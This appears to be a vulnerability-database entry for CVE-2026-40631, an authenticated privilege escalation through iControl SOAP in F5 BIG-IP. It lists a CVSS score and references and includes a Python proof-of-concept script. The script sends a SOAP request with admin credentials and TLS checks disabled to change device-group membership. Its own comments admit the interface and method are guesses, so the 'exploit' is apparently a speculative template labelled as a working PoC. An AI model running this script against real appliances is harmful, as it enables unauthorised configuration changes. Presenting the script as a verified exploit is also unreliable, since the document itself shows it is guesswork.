CVE-2026-40631

Description

An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (具体受影响版本请参考官方公告 K000160979)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-40631: F5 BIG-IP iControl SOAP Privilege Escalation
# Note: This requires valid high-privileged credentials (Resource Admin or Admin)

import requests
import sys

# Disable SSL warnings for self-signed certificates (common in F5 setups)
requests.packages.urllib3.disable_warnings()

def exploit(target_ip, username, password):
    # The iControl SOAP endpoint
    url = f"https://{target_ip}/iControl/iControlPortal.cgi"

    # SOAP Headers
    headers = {
        'Content-Type': 'text/xml; charset=utf-8',
        'SOAPAction': 'urn:iControl:Management/DeviceGroup' # Example interface, actual target may vary
    }

    # Vulnerable SOAP Payload attempting to modify a config object
    # The specific object and method depend on the exact vulnerability in K000160979
    payload = """<?xml version="1.0" encoding="UTF-8"?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
                       xmlns:ns1="urn:iControl:Management/DeviceGroup">
        <SOAP-ENV:Body>
            <ns1:set_member_device>
                <!-- Malicious configuration modification logic -->
                <device_names>
                    <item>attacker_controlled_device</item>
                </device_names>
            </ns1:set_member_device>
        </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>"""

    try:
        response = requests.post(url, data=payload, headers=headers, auth=(username, password), verify=False, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if configuration was modified or privileges escalated.")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40631
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40631
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40631/
[4] VulDB https://vuldb.com/cve/CVE-2026-40631
[5] https://my.f5.com/manage/s/article/K000160979

Raw JSON Data

JSON

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